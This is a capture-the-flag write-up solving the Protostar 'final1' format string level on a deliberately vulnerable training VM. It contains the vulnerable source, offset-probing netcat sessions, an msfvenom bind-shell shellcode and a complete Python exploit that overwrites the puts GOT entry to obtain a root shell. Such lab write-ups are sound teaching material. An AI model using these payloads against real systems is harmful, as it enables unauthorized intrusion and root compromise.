Protostar – final1

Information

This level is a remote blind format string level. The ‘already written’ bytes can be variable, and is based upon the length of the IP address and port number.

When you are exploiting this and you don’t necessarily know your IP address and port number (proxy, NAT / DNAT, etc), you can determine that the string is properly aligned by seeing if it crashes or not when writing to an address you know is good.

Core files will be in /tmp.

This level is at /opt/protostar/bin/final1

Source code

#include "../common/common.c"

#include <syslog.h>

#define NAME "final1"
#define UID 0
#define GID 0
#define PORT 2994

char username[128];
char hostname[64];

void logit(char *pw)
{
  char buf[512];

  snprintf(buf, sizeof(buf), "Login from %s as [%s] with password [%s]\n", hostname, username, pw);

  syslog(LOG_USER|LOG_DEBUG, buf);
}

void trim(char *str)
{
  char *q;

  q = strchr(str, '\r');
  if(q) *q = 0;
  q = strchr(str, '\n');
  if(q) *q = 0;
}

void parser()
{
  char line[128];

  printf("[final1] $ ");

  while(fgets(line, sizeof(line)-1, stdin)) {
      trim(line);
      if(strncmp(line, "username ", 9) == 0) {
          strcpy(username, line+9);
      } else if(strncmp(line, "login ", 6) == 0) {
          if(username[0] == 0) {
              printf("invalid protocol\n");
          } else {
              logit(line + 6);
              printf("login failed\n");
          }
      }
      printf("[final1] $ ");
  }
}

void getipport()
{
  int l;
  struct sockaddr_in sin;

  l = sizeof(struct sockaddr_in);
  if(getpeername(0, &sin, &l) == -1) {
      err(1, "you don't exist");
  }

  sprintf(hostname, "%s:%d", inet_ntoa(sin.sin_addr), ntohs(sin.sin_port));
}

int main(int argc, char **argv, char **envp)
{
  int fd;
  char *username;

  /* Run the process as a daemon */
  background_process(NAME, UID, GID); 
  
  /* Wait for socket activity and return */
  fd = serve_forever(PORT);

  /* Set the client socket to STDIN, STDOUT, and STDERR */
  set_io(fd);

  getipport();
  parser();

}

Solution

By looking at the code, it is clear that there is a format string vulnerability at the following lines :

snprintf(buf, sizeof(buf), ‘Login from %s as [%s] with password [%s]\n’, hostname, username, pw);

syslog(LOG_USER|LOG_DEBUG, buf); // vulnerable

I can enter what I want in the variable ‘username’ and ‘pw’. As those variables are not sanitized, I can use format string to explore the memory.
To access to this vulnerability, the function logit() needs to be called.

So, I need to send first : username xxxx. Then, I send : login xxxx
Once this is done, I need to check the /var/log/syslog file.
I put the format string attack in ‘pw’.

Let’s try :

root@blackndoor:~# nc 192.168.0.46 2994
[final1] $ username AAAA
[final1] $ login BBBB.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
login failed

Then, I check the syslog file :

Aug 21 14:05:55 (none) final1: Login from 192.168.0.11:53456 as [AAAA] with password
[BBBB.08049ee4.0804a2a0.0804a220.bffffbd6.b7fd7ff4.bffffa28.69676f4c.7266206e.31206d6f.312e3239.302e3836.3a31312e.35343335.73612036.41415b20.205d4141]

I see my four ‘A‘ but splited… Let’s try again :

root@blackndoor:~# nc 192.168.0.46 2994
[final1] $ username AABBBB
[final1] $ login CCCC.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
login failed

Let’s see the log :

Aug 21 14:09:51 (none) final1: Login from 192.168.0.11:53459 as [AABBBB] with password
[BBBB.08049ee4.0804a2a0.0804a220.bffffbd6.b7fd7ff4.bffffa28.69676f4c.7266206e.31206d6f.312e3239.302e3836.3a31312e.35343335.73612039.41415b20.42424242]

Fine, I see my four ‘B’ aligned at the offset 16.
I can also try to find the offset of the ‘CCCC’.

Let’s try :

root@blackndoor:~# nc 192.168.0.46 2994
[final1] $ username AABBBB
[final1] $ login CCCDDDD.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
login failed

Let’s see the log :

Aug 21 14:28:09 (none) final1: Login from 192.168.0.11:53512 as [AABBBB] with password
[CCCDDDD.08049ee4.0804a2a0.0804a220.bffffbd6.b7fd7ff4.bffffa28.69676f4c.7266206e.31206d6f.312e3239.302e3836.3a31312e.31353335.73612032.41415b20.42424242.6977205d.70206874.77737361.2064726f.4343435b.44444444.%0]

Alright, the offset for the four ‘D’ is 22.

root@blackndoor:~# nc 192.168.0.46 2994
[final1] $ username AABBBB
[final1] $ login CCCDDDD.%16$x.%22$x
login failed
Aug 21 14:32:51 (none) final1: Login from 192.168.0.11:53514 as [AABBBB] with password [CCCDDDD.42424242.44444444]

The goal is to overwrite the GOT entry of the function printf() (puts as there is no argument) by a memory address which contains a shellcode. So, when the program calls :

printf(‘login failed\n’);

It executes the shellcode. I can create an environment variable or place a shellcode on the stack. I choose to place a shellcode on the stack.
First, I create my shellcode :

root@blackndoor:~# msfvenom -p linux/x86/shell_bind_tcp LPORT=12345 -b '\x00\x0a\x0d' -f py
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 105 (iteration=0)
x86/shikata_ga_nai chosen with final size 105
Payload size: 105 bytes
buf =  ""
buf += "\xb8\xf0\x7d\x03\x9c\xd9\xe9\xd9\x74\x24\xf4\x5b\x2b"
buf += "\xc9\xb1\x14\x83\xeb\xfc\x31\x43\x10\x03\x43\x10\x12"
buf += "\x88\x32\x47\x25\x90\x66\x34\x9a\x3d\x8b\x33\xfd\x72"
buf += "\xed\x8e\x7d\x29\xac\x42\x15\xcc\x50\x53\xdc\xba\x40"
buf += "\xc2\x4e\xb2\x80\x8e\x08\x9c\x8f\xcf\x5d\x5d\x14\x63"
buf += "\x59\xee\x72\x4e\xe1\x4d\xcb\x36\x2c\xd1\xb8\xee\xc4"
buf += "\xed\xe6\xdd\x98\x5b\x6e\x26\xf0\x74\xbf\xa5\x68\xe3"
buf += "\x90\x2b\x01\x9d\x67\x48\x81\x32\xf1\x6e\x91\xbe\xcc"
buf += "\xf1"

I want to place my shellcode on the variable username. The len is 105 which is not the same as my previous username (AABBBB). I need to find the new offset of my four D (previously 22)

Let’s find it :

root@blackndoor:~# nc 192.168.0.46 2994
[final1] $ username AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[final1] $ login DDDD.%46$x
login failed

Let’s see the syslog on protostar :

Aug 25 18:04:50 (none) final1: Login from 192.168.0.11:39239 as [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA] with password [CCCC.44444444]

Now, I need the GOT entry of puts :

$ objdump -R ./final1

./final1:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
...
0804a194 R_386_JUMP_SLOT   puts

I need the memory address where my shellcode is placed. For that, I do as following :

root@blackndoor:~# nc 192.168.0.46 2994
[final1] $ 

Then on protostar :

# ps -edf
...
root      1920  1640  0 18:28 ?        00:00:00 /opt/protostar/bin/final1
...
# gdb -q -p 1920
Attaching to process 1920
Reading symbols from /opt/protostar/bin/final1...done.
Reading symbols from /lib/libc.so.6...Reading symbols from /usr/lib/debug/lib/libc-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...Reading symbols from /usr/lib/debug/lib/ld-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
0xb7f53c1e in __read_nocancel () at ../sysdeps/unix/syscall-template.S:82
82	../sysdeps/unix/syscall-template.S: No such file or directory.
	in ../sysdeps/unix/syscall-template.S
(gdb) p &username
$2 = (char (*)[128]) 0x804a220

I need to overwrite the GOT entry of puts 0x0804a194 by the memory address of username 0x0804a220.
I can’t use the magic table here (see in previous level). I use the following script python :

#!/usr/bin/python

import socket

host = '192.168.0.46'
port = 2994

# msfvenom -p linux/x86/shell_bind_tcp LPORT=12345 -b '\x00\x0a\x0d' -f py
# 105 bytes

buf =  ""
buf += "\xb8\xf0\x7d\x03\x9c\xd9\xe9\xd9\x74\x24\xf4\x5b\x2b"
buf += "\xc9\xb1\x14\x83\xeb\xfc\x31\x43\x10\x03\x43\x10\x12"
buf += "\x88\x32\x47\x25\x90\x66\x34\x9a\x3d\x8b\x33\xfd\x72"
buf += "\xed\x8e\x7d\x29\xac\x42\x15\xcc\x50\x53\xdc\xba\x40"
buf += "\xc2\x4e\xb2\x80\x8e\x08\x9c\x8f\xcf\x5d\x5d\x14\x63"
buf += "\x59\xee\x72\x4e\xe1\x4d\xcb\x36\x2c\xd1\xb8\xee\xc4"
buf += "\xed\xe6\xdd\x98\x5b\x6e\x26\xf0\x74\xbf\xa5\x68\xe3"
buf += "\x90\x2b\x01\x9d\x67\x48\x81\x32\xf1\x6e\x91\xbe\xcc"
buf += "\xf1"

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))

recv = sock.recv(1024)

print recv
recv = ''

sock.send('username ' + buf + '\r\n')
recv = sock.recv(1024)

print recv
recv = ''

payload = "\x94\xa1\x04\x08" + "%46$hn"

sock.send('login ' + payload +'\r\n')
recv = sock.recv(1024)

print recv

Let’s try it and check the kernel message :

# dmesg
...
[13585.231676] final1[1940]: segfault at 80400a0 ip 080400a0 sp bffffbbc error 4 in final1[8048000+2000]

# gdb -q -c /tmp/core.11.final1.1940
Core was generated by `/opt/protostar/bin/final1'.
Program terminated with signal 11, Segmentation fault.
#0  0x080400a0 in ?? ()
(gdb) x/x 0x0804a194
0x804a194:	0x080400a0

Fine, I don’t have to overwrite the high value of the GOT entry as I already have 0x0804. The low value is overwrited by 0xa0.
I just have to calculate the difference between what I need 0xa220 and the value 0xa0 already written

$ python -c 'print "%d" % (0xa220-0xa0)'
41344

Here is the final script :

#!/usr/bin/python

import socket

host = '192.168.0.46'
port = 2994

# msfvenom -p linux/x86/shell_bind_tcp LPORT=12345 -b '\x00\x0a\x0d' -f py
# 105 bytes
 
buf =  ""
buf += "\xb8\xf0\x7d\x03\x9c\xd9\xe9\xd9\x74\x24\xf4\x5b\x2b"
buf += "\xc9\xb1\x14\x83\xeb\xfc\x31\x43\x10\x03\x43\x10\x12"
buf += "\x88\x32\x47\x25\x90\x66\x34\x9a\x3d\x8b\x33\xfd\x72"
buf += "\xed\x8e\x7d\x29\xac\x42\x15\xcc\x50\x53\xdc\xba\x40"
buf += "\xc2\x4e\xb2\x80\x8e\x08\x9c\x8f\xcf\x5d\x5d\x14\x63"
buf += "\x59\xee\x72\x4e\xe1\x4d\xcb\x36\x2c\xd1\xb8\xee\xc4"
buf += "\xed\xe6\xdd\x98\x5b\x6e\x26\xf0\x74\xbf\xa5\x68\xe3"
buf += "\x90\x2b\x01\x9d\x67\x48\x81\x32\xf1\x6e\x91\xbe\xcc"
buf += "\xf1"

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))

recv = sock.recv(1024)

print recv
recv = ''

sock.send('username ' + buf + '\r\n')
recv = sock.recv(1024)

print recv
recv = ''

# not OK
# payload = "\x96\xa1\x04\x08\x94\xa1\x04\x08" + "%.2044x" + "%46$hn" + "%.39452x" + "%47$hn"

payload = "\x94\xa1\x04\x08" + "%.41344x" + "%46$hn"

sock.send('login ' + payload +'\r\n')
recv = sock.recv(1024)

print recv

let’s run the script and check protostar :

$ netstat -atn | grep 12345
tcp        0      0 0.0.0.0:12345           0.0.0.0:*               LISTEN

I’ve got my shell 🙂

root@blackndoor:~# nc 192.168.0.46 12345
python -c "import pty;pty.spawn('/bin/bash')"
root@protostar:/# id
id
uid=0(root) gid=0(root) groups=0(root)

That’s it, final1 is done.


Laisser un commentaire